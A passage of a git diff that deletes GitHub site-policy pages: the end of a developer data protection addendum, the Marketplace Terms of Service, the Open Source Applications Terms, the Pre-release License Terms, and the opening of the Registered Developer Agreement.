“Agreement”). Terms not defined in this Addendum have the meanings ascribed to them in the Agreement. In the event of a conflict or inconsistency, the terms of this Addendum will supersede those of the Agreement. - -**A1-1. Purpose and Scope** -GitHub maintains Personal Data from individuals all over the world, some of whom are residents of countries and areas with strong data protection laws. This Addendum establishes your responsibilities when you receive and process any such Personal Data from GitHub. - -**A1-2. Definitions** - -* (a) “Applicable Data Protection Laws” means any laws, regulations, regulatory frameworks, or other legislations relating to the processing and use of Personal Data, as applicable to the Agreement, including: - * The EU General Data Protection Regulation 2016/679 (“GDPR”), along with any implementing or corresponding equivalent national laws or regulations; - * The California Consumer Privacy Act of 2018, Cal. Civ. Code §§1798.100 et seq. ("CCPA"); and - * The UK Data Protection Act 2018 and implementation of GDPR contained therein. -* (b) “Personal Data” means any information which relates to an individual GitHub End User, customer or employee which could, alone or together with other information, identify them, whether supplied by GitHub for processing by the Developer or whether generated by the Developer in the course of performing its obligations under this Agreement. -* (c) “Processing” means any operation or set of operations performed on Personal Data, whether by manual or automatic means, including collection, recording, organization, storage, adaptation, alteration, retrieval, consultation, use, disclosure by transmission, dissemination or otherwise making available, blocking, erasure, or destruction. - -**A1-3. Compliance with Data Transfer Laws** - -* (a) GitHub Compliance. GitHub complies with Applicable Data Protection Laws. GitHub relies on Standard Contractual Clauses ("SCCs") for all transfers out of the European Union, European Economic Area, United Kingdom, and Switzerland to provide its services. GitHub also complies with the EU-U.S. Data Privacy Framework (EU-U.S. DPF), the UK Extension to the EU-U.S. DPF, and the Swiss-U.S. Data Privacy Framework (Swiss-U.S. DPF) as set forth by the U.S. Department of Commerce. GitHub has certified to the U.S. Department of Commerce that it adheres to the EU-U.S. Data Privacy Framework Principles (EU-U.S. DPF Principles) with regard to the processing of Personal Data received from the European Union in reliance on the EU-U.S. DPF and from the United Kingdom (and Gibraltar) in reliance on the UK Extension to the EU-U.S. DPF. GitHub has certified to the U.S. Department of Commerce that it adheres to the Swiss-U.S. Data Privacy Framework Principles (Swiss-U.S. DPF Principles) with regard to the processing of Personal Data received from Switzerland in reliance on the Swiss-U.S. DPF. -* (b) Developer Compliance. Developer represents and warrants that it will (i) comply with Applicable Data Protection Laws; and (ii) abide by the requirements of European Economic Area and Swiss data protection laws regarding the collection, use, transfer, retention, and other processing of Personal Data from the European Economic Area, United Kingdom, and Switzerland. All transfers of Personal Data to a third country or an international organization will be subject to appropriate safeguards as described in Article 46 of the GDPR and such transfers and safeguards will be documented according to Article 30(2) of the GDPR. - -**A1-4. Data Protection** - -* (a) Notice. Developer must provide End Users their privacy policy which identifies itself as responsible for the collection, processing, privacy, security, and integrity of all data it collects from the End User. Developer must not hold itself out as collecting any Personal Data on GitHub’s behalf. Developer’s privacy policy must provide End User’s all legally required information regarding access, collection, storage, and processing purpose of Personal Data, with whom the Personal Data is shared, and in which country or countries the Personal Data will be stored. -* (b) Purpose Limitation. - * (i) GitHub will provide Developer with Personal Data elements for the purpose of establishing and facilitating a relationship between the Developer and the End User, and permitting Developer to provide services to the End User. Developer must limit its usage of the Personal Data to that purpose, unless the End User agrees to allow different uses. - * (ii) Developer must process and communicate the Personal Data to third parties only for the limited and specific purposes of providing its services to the End User as described in its agreement with the End User, unless the End User agrees to allow different uses. -* (c) Data Quality and Proportionality. Developer must keep the Personal Data accurate and up to date. Developer must only collect Personal Data appropriate and necessary to provide the service. -* (d) Security. Developer must take all reasonable security measures appropriate to the risks, such as against accidental or unlawful destruction, or accidental loss, alteration, unauthorized disclosure or access, presented by processing the Personal Data. -* (e) Data Retention and Deletion. Upon GitHub’s reasonable request, unless prohibited by law, Developer must return or destroy all Personal Data and related data at all locations where it is stored after it is no longer needed for the limited and specified purposes for which it was collected. -* (f) Subprocessing and Onward Transfer. Developer is liable for onward transfers of Personal Data to its subprocessors. In the event that Developer must transfer the Personal Data to a third party, or Developer installs, uses, or enables third party services to process the Personal Data on Developer’s behalf, Developer must ensure that the third party will provide at least the same level of privacy protection as is required herein. - -**A1-5. Use of Personal Data** - -* (a) Permitted Use. Developer may process the Personal Data only for the purposes set out in Section 4(b)(i), and no other purpose. -* (b) No Use in Marketing. Developer must not use the Personal Data for the purposes of advertising any third party goods or services, and may not sell the Personal Data to any third party. -* (c) Automated Decisions. In the event that the Developer makes automated decisions affecting End User’s rights, including employment, legal, credit, or health, the Developer must provide notice to the End User. - -**A1-6. Compliance** - -Developer will make its Privacy Statement, Privacy Policy, Privacy Notice, or any similar documentation available to GitHub and End User. Developer will also provide notice of any relevant compliance reports. - -**A1-7. Termination** - -* (a) Takedown. In the event that Developer is in breach of its obligations to maintain an adequate level of privacy protection, GitHub may take action in accordance with Section 4 (Takedowns) or Section 10 (Termination). -* (b) Termination. GitHub may terminate this Agreement without prejudice to any other claims at law or in equity in the event that: - * (i) the Developer notifies GitHub that it can no longer meet its privacy obligations, including loss of Developer Privacy Shield certification; - * (ii) the transfer, collection, or processing of Personal Data has been temporarily suspended for longer than one month pursuant to 7(a); - * (iii) the Developer is in substantial or persistent breach of any warranties or representations under this Data Protection Addendum; - * (iv) the Developer is no longer carrying on business, is dissolved, enters receivership, or a winding up order is made on behalf of Developer. -* (c) Notification. In the event that Developer determines that it can no longer meet its privacy obligations under this Agreement, it must notify GitHub immediately. -In the event that Developer was certified under Privacy Shield and allows that certification to lapse or otherwise cannot remain certified under Privacy Shield, Developer must notify GitHub immediately. -* (d) Upon Termination, Developer must: - * (i) take reasonable and appropriate steps to stop processing of Personal Data; - * (ii) within thirty days of Termination, delete any Personal Data Developer stores on GitHub’s behalf; and - * (iii) provide GitHub with reasonable assurance that Developer has stopped processing the Personal Data and deleted stored Personal Data. - -**A1-8. Liability for Data Processing** -* Direct Liability. Developer will be liable to GitHub for actual damages caused by any breach of this Addendum subject to the terms in Section 8, Limitation on Liability. diff --git a/content/site-policy/github-terms/github-marketplace-terms-of-service.md b/content/site-policy/github-terms/github-marketplace-terms-of-service.md deleted file mode 100644 index 8562c7b52701..000000000000 --- a/content/site-policy/github-terms/github-marketplace-terms-of-service.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: GitHub Marketplace Terms of Service -redirect_from: - - /articles/github-marketplace-terms-of-service - - /github/site-policy/github-marketplace-terms-of-service -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -Welcome to GitHub Marketplace ("Marketplace")! We're happy you're here. Please read these Terms of Service ("Marketplace Terms") carefully before accessing or using GitHub Marketplace. GitHub Marketplace is a platform that allows you to select developer apps or actions (for free or for a charge) that can be used with your GitHub.com account ("Developer Products"). Although offered by GitHub, Inc. ("GitHub", "we", "us"), Developer Products may be developed and maintained by either GitHub or by third-party software providers. Your selection or use of Developer Products is subject to these Marketplace Terms and any applicable fees, and may require you to agree to additional terms as provided by the third party licensor of that Developer Product (the "Product Provider"). Your use of GitHub Models is subject to the [GitHub Terms for Additional Products and Features](/site-policy/github-terms/github-terms-for-additional-products-and-features). - -By using Marketplace, you are agreeing to be bound by these Marketplace Terms. - -Effective Date: August 1, 2024 - -## A. GitHub.com's Terms of Service - -Marketplace is provided by GitHub, and is governed by these Marketplace Terms combined with your main agreement with us — the [GitHub Terms of Service](/site-policy/github-terms/github-terms-of-service) or GitHub Customer Agreement, or the [GitHub Corporate Terms of Service](/site-policy/github-terms/github-corporate-terms-of-service) or other legacy GitHub contract, or a Microsoft volume licensing agreement. If you configure the Developer Products to work with one or more accounts on the GitHub.com website, your use of the Developer Products will also be governed by your applicable GitHub Terms. Any capitalized terms not defined in this document will be defined in your applicable GitHub Terms. - -You may not use a Developer Product to violate your applicable GitHub Terms. Many of these Developer Products are used exclusively for performing automated tasks. In addition, multiple Users may direct the actions of a Developer Product. However, if you purchase and/or set up a Developer Product on your account, or you are an owner of an account with an integrated Developer Product, then you will be responsible for the Developer Product's actions that are performed on or through your account. - -## B. Use Requirements - -In order to use Marketplace, you must be 13 years of age or older (if you live in the United States; if you live in another country, you must comply with your country's minimum age laws), have a valid GitHub account, and have agreed to your applicable GitHub Terms and these Marketplace Terms. - -If you are agreeing to these Marketplace Terms on behalf of a company, organization, or other legal entity, you represent that you have the authority to bind that entity, its affiliates, and all users who access the Marketplace on its behalf to these Marketplace Terms. If you do not have authority, you must not accept these Marketplace Terms and you may not use the Marketplace services. - -## C. Developer Products and Product Providers - -If you install and/or purchase a Developer Product, then you are purchasing the Developer Products from GitHub and you are required to make the related payments directly to GitHub. However, you are receiving access to and the rights to use that Developer Product from a Product Provider, not from GitHub (unless it's a GitHub-owned Developer Product). The Product Provider is solely responsible for the Developer Product it provides, the content therein, and any claims that you or any other party may have relating to that Developer Product or your use of that Developer Product. - -We are not a party to the agreement between you and the Product Provider with respect to that Developer Product. We are not responsible for that Developer Product, the content in it, or any claims that you or any other party may have relating to that Developer Product or your use of that Developer Product. However, we are a third party beneficiary of the agreement between you and the Product Provider for each Developer Product, and we will have the right (and will be deemed to have accepted the right) to enforce that agreement against you as a third party beneficiary. - -## D. Payment, Billing Schedule, and Cancellation - -All payments for Developer Products will go through GitHub. The terms of your payment and fees will be governed by [Section K. Payment](/site-policy/github-terms/github-terms-of-service#k-payment), or the analogous section of your applicable GitHub Terms. By using the Marketplace, you agree to pay GitHub any charge incurred in connection with your purchase of the Developer Product. Each purchase is an electronic contract between you and GitHub, and you and the Product Provider. You are responsible for providing us with a valid means of payment for purchases of Developer Products. If you are only purchasing free Developer Products, you are not required to provide payment information. - -**Billing Schedule; No Refunds.** Your payment schedule is determined by the payment schedule you chose when you created your GitHub account (e.g. free, monthly, annual). For monthly or yearly payment plans, Marketplace purchases are billed in advance on a monthly or yearly basis respectively and are non-refundable. There will be no refunds or credits for partial months of service, downgrade refunds, or refunds for months unused; however, the service will remain active for the length of the paid billing period. If you would like to cancel the Developer Product services, you can do so by going into your Settings in the global navigation bar at the top of the screen. - -If you would have a question, concern, or dispute regarding your billing, please contact us through the [GitHub Support portal](https://support.github.com/). - -## E. Your Data and GitHub's Privacy Policy - -**Privacy.** When you select or use a Developer Product, GitHub may share certain Personal Information (as defined in the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement)) with the Product Provider (if any such Personal Information is received from you) in order to provide you with the Developer Product, regardless of your privacy settings. Depending on the requirements of the Developer Product you choose, GitHub may share as little as your account name, ID, and primary email address or as much as access to the content in your repositories, including the ability to read and modify your private data. You will be able to view the scope of the permissions the Developer Product is requesting, and accept or deny them, when you grant it authorization via OAuth. - -If you cease using the Developer Product and revoke access through your account settings, the Product Provider will no longer be able to access your account. The Product Provider is responsible for deleting your Personal Information from its systems within its defined window. Please contact the Product Provider to ensure that your account has been properly terminated. - -**Data Security and Privacy Disclaimer.** When you select or use a Developer Product, the security of the Developer Product and the custodianship of your data, including your Personal Information (if any), is the responsibility of the Product Provider. You are responsible for understanding the security and privacy considerations of the selection or use of the Developer Product for your own security and privacy risk and compliance considerations. - -## F. Rights to Developer Products - -The rights granted to you to use any Developer Product are personal to you, and are not transferrable to any third parties, such as your end users. Any rights to provide or resell Developer Products to third parties must be granted directly by the Product Provider. - -## G. Updates to Developer Products - -From time to time, GitHub.com may check with remote servers (hosted by GitHub or by third parties) for available updates to Developer Products, including but not limited to bug fixes or enhanced functionality. You agree that such updates will be automatically requested, downloaded, and installed without further notice to you. - -## H. Developer Product Blocking - -GitHub may block a Developer Product from our servers, or disable its functionality, for legal or policy reasons. In the event that we must block or disable a Developer Product, we will work with the Product Provider to notify affected users. - -## I. Disclaimer; Limitation of Liability; Release and Indemnification - -**Disclaimer.** Your use of Marketplace and any Developer Products obtained through Marketplace is at your sole risk. Other than as expressly stated, GitHub provides Marketplace and Developer Products “AS IS” and “AS AVAILABLE.” GitHub does not make or imply any warranties or commitments about Marketplace and Developer Products, including but not limited to the specific functionality available through Marketplace and Developer Products, their reliability, availability, or ability to meet your need. - -We reserve the right at any time and from time to time to modify or discontinue, temporarily or permanently, Marketplace (or any part of it) with or without notice. - -**Limitation of Liability.** You understand and agree that GitHub will not be liable to you or any third party for any loss of profits, use, goodwill, or data, or for any incidental, indirect, special, consequential or exemplary damages, however arising, that result from: (i) your use or inability to use Marketplace or any Developer Products; (ii) any modification, price change, suspension or discontinuance of Marketplace or Developer Products; (iii) Marketplace generally or the software or systems that make Marketplace available; (iv) unauthorized access to or alterations of your transmissions or data; (v) statements or conduct of any third party, Product Provider, or Developer Product on Marketplace; (vi) any other user interactions that you input or receive through your use of Marketplace; or (vii) any other matter relating to Marketplace. - -**Release and Indemnification.** If you have a dispute with one or more Product Providers, you agree to release GitHub from any and all claims, demands and damages (actual and consequential) of every kind and nature, known and unknown, arising out of or in any way connected with such disputes. - -You agree to indemnify us, defend us, and hold us harmless from and against any and all claims, liabilities, and expenses, including attorneys’ fees, arising out of your use of Marketplace, including but not limited to your violation of these Marketplace Terms, provided that GitHub (1) promptly gives you written notice of the claim, demand, suit or proceeding; (2) gives you sole control of the defense and settlement of the claim, demand, suit or proceeding (provided that you may not settle any claim, demand, suit or proceeding unless the settlement unconditionally releases GitHub of all liability); and (3) provides to you all reasonable assistance, at your expense. - -## J. Miscellanea - -1. **Governing Law.** You agree that these Marketplace Terms and your use of the Developer Products are governed under California law and any dispute related to the Developer Products must be brought in a tribunal of competent jurisdiction located in or near San Francisco, California. - -1. **Non-Assignability.** GitHub may assign or delegate these Marketplace Terms and/or the [GitHub's Privacy Statement](/site-policy/privacy-policies/github-privacy-statement), in whole or in part, to any person or entity at any time with or without your consent. You may not assign or delegate any rights or obligations under the Marketplace Terms or Privacy Statement without our prior written consent, and any unauthorized assignment and delegation by you is void. - -1. **Severability, No Waiver, and Survival.** If any part of these Marketplace Terms are held invalid or unenforceable, that portion of the Marketplace Terms will be construed to reflect the parties’ original intent. The remaining portions will remain in full force and effect. The failure of GitHub to exercise or enforce any right or provision of these Marketplace Terms shall not constitute a waiver of such right or provision. Our rights under these Marketplace Terms will survive any termination of these Marketplace Terms. - -1. **No Modifications; Complete Agreement.** These Marketplace Terms may only be modified by a written amendment signed by an authorized representative of GitHub, or by the posting by GitHub of a revised version. These Marketplace Terms, together with [GitHub's Privacy Statement](/site-policy/privacy-policies/github-privacy-statement), represent the complete and exclusive statement of the agreement between you and us. These Marketplace Terms supersede any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms. - -1. **Section Headings.** Throughout these Marketplace Terms, each section includes titles of the following terms and conditions. These section titles are not legally binding. - -1. **License to GitHub Policies.** These Marketplace Terms are licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license). - -1. **Contact Us.** Questions about the Marketplace Terms? Contact us through the [GitHub Support portal](https://support.github.com/). diff --git a/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md b/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md deleted file mode 100644 index fa7d2b8ec1f2..000000000000 --- a/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: GitHub Open Source Applications Terms and Conditions -redirect_from: - - /articles/github-open-source-applications-terms-and-conditions - - /github/site-policy/github-open-source-applications-terms-and-conditions -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -These GitHub Open Source Applications Terms and Conditions ("Application Terms") are a legal agreement between you (either as an individual or on behalf of an entity) and GitHub, Inc. regarding your use of GitHub's applications, such as GitHub Desktop™ and associated documentation ("Software"). These Application Terms apply to the executable code version of the Software. Source code for the Software is available separately and free of charge under open source software license agreements. If you do not agree to all of the terms in these Application Terms, do not download, install, use, or copy the Software. - -## Connecting to GitHub - -If you configure the Software to work with one or more accounts on the GitHub.com website or with a deployment of GitHub Enterprise Server, your use of the Software will also be governed by your applicable GitHub.com website Terms of Service and/or the license agreement applicable to your deployment of GitHub Enterprise Server ("GitHub Terms"). - -Any use of the Software that violates your applicable GitHub Terms will also be a violation of these Application Terms. - -## Open Source Licenses and Notices - -The open source license for the Software is included in the "Open Source Notices" documentation that is included with the Software. That documentation also includes copies of all applicable open source licenses. - -To the extent the terms of the licenses applicable to open source components require GitHub to make an offer to provide source code in connection with the Software, such offer is hereby made, and you may exercise it by contacting GitHub: https://github.com/contact - -Unless otherwise agreed to in writing with GitHub, your agreement with GitHub will always include, at a minimum, these Application Terms. Open source software licenses for the Software's source code constitute separate written agreements. To the limited extent that the open source software licenses expressly supersede these Application Terms, the open source licenses govern your agreement with GitHub for the use of the Software or specific included components of the Software. - -## GitHub's Logos - -The license grant included with the Software is not for GitHub's trademarks, which include the Software logo designs. GitHub reserves all trademark and copyright rights in and to all GitHub trademarks. GitHub's logos include, for instance, the stylized designs that include "logo" in the file title in the "logos" folder. - -The names GitHub, GitHub Desktop, GitHub for Mac, GitHub for Windows, the Octocat, and related GitHub logos and/or stylized names are trademarks of GitHub. You agree not to display or use these trademarks in any manner without GitHub's prior, written permission, except as allowed by GitHub's Logos and Usage Policy: https://github.com/logos. - -## Privacy - -The Software may collect personal information. You may control what information the Software collects in the settings panel. If the Software does collect personal information on GitHub's behalf, GitHub will process that information in accordance with the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). - -## Additional Services - -**Auto-Update Services** - -The Software may include an auto-update service ("Service"). If you choose to use the Service or you download Software that automatically enables the Service, GitHub will automatically update the Software when a new version is available. - -**Disclaimers and Limitations of Liability** - -THE SERVICE IS PROVIDED ON AN "AS IS" BASIS, AND NO WARRANTY, EITHER EXPRESS OR IMPLIED, IS GIVEN. YOUR USE OF THE SERVICE IS AT YOUR SOLE RISK. GitHub does not warrant that (i) the Service will meet your specific requirements; (ii) the Service is fully compatible with any particular platform; (iii) your use of the Service will be uninterrupted, timely, secure, or error-free; (iv) the results that may be obtained from the use of the Service will be accurate or reliable; (v) the quality of any products, services, information, or other material purchased or obtained by you through the Service will meet your expectations; or (vi) any errors in the Service will be corrected. - -YOU EXPRESSLY UNDERSTAND AND AGREE THAT GITHUB SHALL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL OR EXEMPLARY DAMAGES, INCLUDING BUT NOT LIMITED TO, DAMAGES FOR LOSS OF PROFITS, GOODWILL, USE, DATA OR OTHER INTANGIBLE LOSSES (EVEN IF GITHUB HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES) RELATED TO THE SERVICE, including, for example: (i) the use or the inability to use the Service; (ii) the cost of procurement of substitute goods and services resulting from any goods, data, information or services purchased or obtained or messages received or transactions entered into through or from the Service; (iii) unauthorized access to or alteration of your transmissions or data; (iv) statements or conduct of any third-party on the Service; (v) or any other matter relating to the Service. - -GitHub reserves the right at any time and from time to time to modify or discontinue, temporarily or permanently, the Service (or any part thereof) with or without notice. GitHub shall not be liable to you or to any third-party for any price change, suspension or discontinuance of the Service. - -## Miscellanea - -1. No Waiver. The failure of GitHub to exercise or enforce any right or provision of these Application Terms shall not constitute a waiver of such right or provision. - -1. Entire Agreement. These Application Terms, together with any applicable Privacy Notices, constitutes the entire agreement between you and GitHub and governs your use of the Software, superseding any prior agreements between you and GitHub (including, but not limited to, any prior versions of the Application Terms). - -1. Governing Law. You agree that these Application Terms and your use of the Software are governed under California law and any dispute related to the Software must be brought in a tribunal of competent jurisdiction located in or near San Francisco, California. - -1. Third-Party Packages. The Software supports third-party "Packages" which may modify, add, remove, or alter the functionality of the Software. These Packages are not covered by these Application Terms and may include their own license which governs your use of that particular package. - -1. No Modifications; Complete Agreement. These Application Terms may only be modified by a written amendment signed by an authorized representative of GitHub, or by the posting by GitHub of a revised version. These Application Terms, together with any applicable Open Source Licenses and Notices and GitHub's Privacy Statement, represent the complete and exclusive statement of the agreement between you and us. These Application Terms supersede any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms. - -1. License to GitHub Policies. These Application Terms are licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license). - -1. Contact Us. Questions about the Terms of Service? Contact us through the [GitHub Support portal](https://support.github.com/). diff --git a/content/site-policy/github-terms/github-pre-release-license-terms.md b/content/site-policy/github-terms/github-pre-release-license-terms.md deleted file mode 100644 index d404379bb1a3..000000000000 --- a/content/site-policy/github-terms/github-pre-release-license-terms.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: GitHub Pre-release License Terms -allowTitleToDifferFromFilename: true -redirect_from: - - /site-policy/github-terms/github-copilot-chat-pre-release-terms - - /site-policy/github-terms/github-copilot-pre-release-terms - - /site-policy/github-terms/github-copilot-pre-release-license-terms -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -## GitHub Pre-release License Terms - -These terms apply to the pre-release software made available to you by GitHub. To the extent there is a conflict between these terms and any other Agreement you have with us, these terms govern. - -## 1. Pre-Release Software. - - The software provided is a pre-release version. “Pre-release” means software, online services, and additional products and features that are provided for preview, evaluation, demonstration, or trial purposes, as well as prerelease versions of those such as alpha, beta, or early access versions. - - Pre-release software may not operate correctly. It may delete your data, corrupt your data, or have other bugs. It also may not work the way a final commercial version of the software will. - - GitHub may change or discontinue pre-release software at any time, for any reason, without notice to you. GitHub may change the software for the final commercial version, or may not release a commercial version at all. GitHub is not obligated to provide to you any maintenance, technical support, or updates for the software. - -## 2. Installation and Use Rights. - - a. **General**. GitHub grants you a limited right to use a non-production instance of the software. You may use any number of copies of the software to develop and test your applications, including deployment within your internal corporate network. You may also use the software in demonstrating your applications. - - b. **Inclusion of Third-Party Components.** The software may include third-party components with separate legal notices or governed by other agreements, as may be described in a license file accompanying the software. - - c. **Optional Extensions.** The software may give you the option to download other GitHub and third-party software packages. Any third-party software packages are provided for your convenience only, and are governed by any applicable agreements between you and the third party. GitHub is not responsible or liable for any third-party software. - -## 3. Scope of License. - - GitHub reserves all rights not expressly granted to you in these terms, including retaining ownership of all aspects of the pre-release software as well as all related intellectual property rights. - - Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this Agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not: - - a. work around any technical limitations in the software; - - b. reverse engineer, decompile, or disassemble the software, or otherwise attempt to derive the source code for the software, except to the extent required by applicable third party licensing terms governing use of certain open source components that may be included in the software; - - c. remove, minimize, block, or modify any notices of GitHub or its suppliers in the software; - - d. share, publish, or lease the software; - - e. provide the software as a stand-alone offering or combine it with any of your applications for others to use; - - f. transfer the software or these terms to any third party; or - - g. use the software to create or propagate malware, or in any way that is against the law - -## 4. Data Collection and Usage. - - a. **Consent to Data Collection.** The pre-release software may collect information about you and your use of the software, and send that information to GitHub. GitHub may use this information to provide services, to improve our products and services, or for any other purpose permitted under the GitHub Data Protection Agreement or GitHub Privacy Statement. Your use of the pre-release software operates as your consent to these practices. - - b. **Use of Collected Data.** GitHub will use collected data for analytics and measurement to understand how our pre-release software and related products are used. The software will collect data and usage information about events generated when interacting with it. These events help us analyze and measure performance and features used. This usage information is used by GitHub and may be shared with affiliates and other third parties to help deliver, develop, evaluate, and improve the software and related products. We analyze data to ensure the pre-release software is working as intended, to evaluate the safety, reliability, and user experience of the software, and to investigate and detect potential abuse. We may combine the information we collect from the pre-release software with other data. - - c. **Processing of Personal Data.** GitHub is the data controller in relation to the Personal Data processed in connection with the pre-release software. - - d. **Data Collection by You.** There may be some features in the pre-release software that enable you and GitHub to collect data from users of your applications. If you use these features, you must comply with all applicable laws on data collection, including providing appropriate notices to users of your applications as well as a copy of GitHub’s Privacy Statement. You can learn more about data collection and use in the software documentation. - - e. **Revocation of Consent to Data Collection.** You may revoke your consent to data collection by the prerelease software by contacting GitHub and requesting removal from the technical preview. Please note that, if you request removal from the preview, you will no longer be able to use the pre-release software. - -## 5. Updates. - - You may obtain updates to the pre-release software only from GitHub or GitHub-authorized sources. The software may install automatic updates and download and install them for you. You agree to these automatic updates without any additional notice. Software updates may not include or support all existing software features, platforms, services, or peripheral devices. These updates are generally meant to improve and evolve the software, but they may also change or disable any part of the software, including potentially removing features and services, or revoking support for certain platforms or hardware. - -## 6. Time-Bound Software. - - Your use of the pre-release software will end upon any of _(i)_ commercial release of the software, or _(ii)_ at the discretion of GitHub to discontinue the support or development of the software, or _(iii)_ termination of the technical preview by either party. You may not be able to access data used in the software when it stops running. - -## 7. Feedback. - - If you give feedback about the pre-release software to GitHub, you give to GitHub the right to use, share, and commercialize your feedback in any way and for any purpose, without payment to you. You agree that you will not give feedback that is subject to any license that would require GitHub to license its software or documentation to third parties if we included your feedback in them. - -## 8. Communications. - - By using pre-release software, you agree to be contacted by GitHub and Microsoft regarding your participation in the technical preview, including email request(s) for feedback about the software. - -## 9. No Warranties. - -You bear the sole risk of using the pre-release software. - - The pre-release software is licensed “as is” without any warranty of any kind or sort, whether such warranty would be express, implied, or statutory. To the extent permitted under your local laws, GitHub and Microsoft disclaim all warranties in the pre-release software, including implied warranties of merchantability, fitness for a particular purpose, title, quiet enjoyment, accuracy, course of dealing, usage of trade, and non-infringement. - - Neither GitHub nor Microsoft give any express warranties, guarantees, or commitments about the pre-release software or its quality, reliability, availability, security, or function. The software may contain errors, may delete or corrupt your data, and may have defects or other bugs. - -## 10. No Indemnity. - - Neither GitHub nor Microsoft will have any obligation to defend, indemnify, or hold you harmless from any claim against you relating to your use of the pre-release software. - -## 11. No Uptime Guarantees. - - The pre-release software is not subject to an uptime guarantee or similar service level agreement. The software may be unavailable or stop working entirely at any time for any reason. - -## 12. Limitation of Liability. - - GitHub’s maximum liability for any claim related to your use of the pre-release software is limited to direct damages up to five hundred dollars ($500.00 USD). - -## 13. Compliance with Export Restrictions. - - You must comply with all domestic and international export laws and regulations that apply to the pre-release software, including any applicable restrictions on destinations, end users, and end use. - -## 14. Confidentiality. - - The pre-release software is non-public, confidential information of GitHub. Your use is subject to the confidentiality obligations between you and GitHub in the Agreement. - - Please do not _(i)_ disclose or share the software with anyone who is not subject to these terms and a non-disclosure agreement; _(ii)_ post or allow others to post any photos or videos of the pre-release software on or via any online platform, including personal social media websites; or _(iii)_ describe or discuss any part of the software on or via any online platform, unless given advance and express permission by GitHub to do so. - -## 15. Nature of Terms for Microsoft Customers. - - If you license GitHub through Microsoft, these terms shall be considered an amendment to the Microsoft Product Terms for GitHub Offerings for the duration of your use of the pre-release software. diff --git a/content/site-policy/github-terms/github-registered-developer-agreement.md b/content/site-policy/github-terms/github-registered-developer-agreement.md deleted file mode 100644 index 82c10c29fa44..000000000000 --- a/content/site-policy/github-terms/github-registered-developer-agreement.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: GitHub Registered Developer Agreement -redirect_from: - - /articles/github-registered-developer-agreement - - /github/site-policy/github-registered-developer-agreement -versions: - fpt: '*' -topics: - - Policy - - Legal ---- -GitHub is fortunate to have many developers integrating with our platform. We think that’s awesome, and we want to make that experience even better. GitHub’s Developer Program (the “Program”) helps us to connect with you, share information with you, and support your creative efforts better than ever before. The special relationship between GitHub and the developer community that the Program creates requires a special set of terms. Welcome to the Registered Developer Agreement (“Agreement”). - -This Agreement is a legal agreement between you (“you”) and GitHub, Inc. (“GitHub”, “we”, or “us”). Be sure to read this Agreement carefully - it governs your participation in the Program, and we’re only willing to let you participate in the Program if you accept all the terms of this Agreement. By clicking “I Agree” below, or by participating in the Program in any way – for example, by accessing information about GitHub products or features that aren’t yet available to the general public – you’re agreeing to be bound by all the terms of this Agreement. IF YOU’RE ENTERING INTO THIS AGREEMENT ON BEHALF OF A COMPANY OR OTHER LEGAL ENTITY, YOU REPRESENT THAT YOU HAVE THE LEGAL AUTHORITY TO BIND THE ENTITY TO THIS AGREEMENT, IN WHICH CASE "YOU" WILL MEAN THE ENTITY YOU REPRESENT. IF YOU DON’T HAVE SUCH AUTHORITY, OR IF YOU DON’T AGREE WITH THE TERMS AND CONDITIONS OF THIS AGREEMENT, YOU MUST SELECT THE "CANCEL" BUTTON AND YOU MAY NOT PARTICIPATE IN THE PROGRAM. IF YOU’RE A COMPANY OR OTHER LEGAL ENTITY, YOU REPRESENT THAT THE PERSON CLICKING “I AGREE” HAS THE AUTHORITY TO BIND YOU TO THIS AGREEMENT. - -1. **GitHub.com’s Terms of Use Will Apply** - - You need to have an account on GitHub.com in order to participate in the Program. By clicking “I Agree” at the bottom of this Agreement, you are also agreeing to be bound by the GitHub.com [Terms of Service](/site-policy/github-terms/github-terms-of-service) (the “TOS”). In the event of a direct conflict between this Agreement and the TOS, this Agreement will control; otherwise, both agreements will apply to you concurrently. - -1. **Program Terms** - - We post the [Program’s benefits and guidelines](/get-started/exploring-integrations/github-developer-program) (the “Program Overview”). As you might expect, the Program Overview will change from time to time. These changes will apply to you as a participant in the Program, so we encourage you to periodically review the Program Overview to keep apprised of any changes. For a variety of reasons, we might need to change, suspend, or discontinue the Program, or some of the benefits we offer. You agree that we can do those things without liability to you, except as specified in Section 9. - -1. **API License** - - So long as you remain compliant with the TOS, this Agreement, and the Program Terms, we grant You a limited, worldwide, non-exclusive, non-transferable license during the term of this Agreement to access and use our API (as defined in the [TOS](/site-policy/github-terms/github-terms-of-service)) solely for the purpose of developing, demonstrating, testing and supporting interoperability and integrations between your products and services and our products and services. - - You promise not to do bad things with our API. Among other things, this means you won’t – and won’t allow or permit others to – modify, publish, sell, lease, license, distribute, or sublicense our API; decompile, disassemble, reverse engineer, or otherwise attempt to derive source code from our API; reproduce, modify or create derivative works from our API; use our API to provide service bureau, application hosting, or processing services to third parties; incorporate or otherwise combine or integrate our API with any of your products or services; or use our API to engage in, support, or enable any kind of illegal activity. - - We reserve the right at any time to modify or discontinue, temporarily or permanently, your access to the API (or any part of it) with or without notice. It’s your sole responsibility to ensure that your use of the API is compatible with the then-current API. Other than the rights we expressly give you in this Agreement or the TOS, We don’t grant you any rights or licenses to our API, or to any other GitHub products or services. - -1. **Account Authorization Services** - - As part 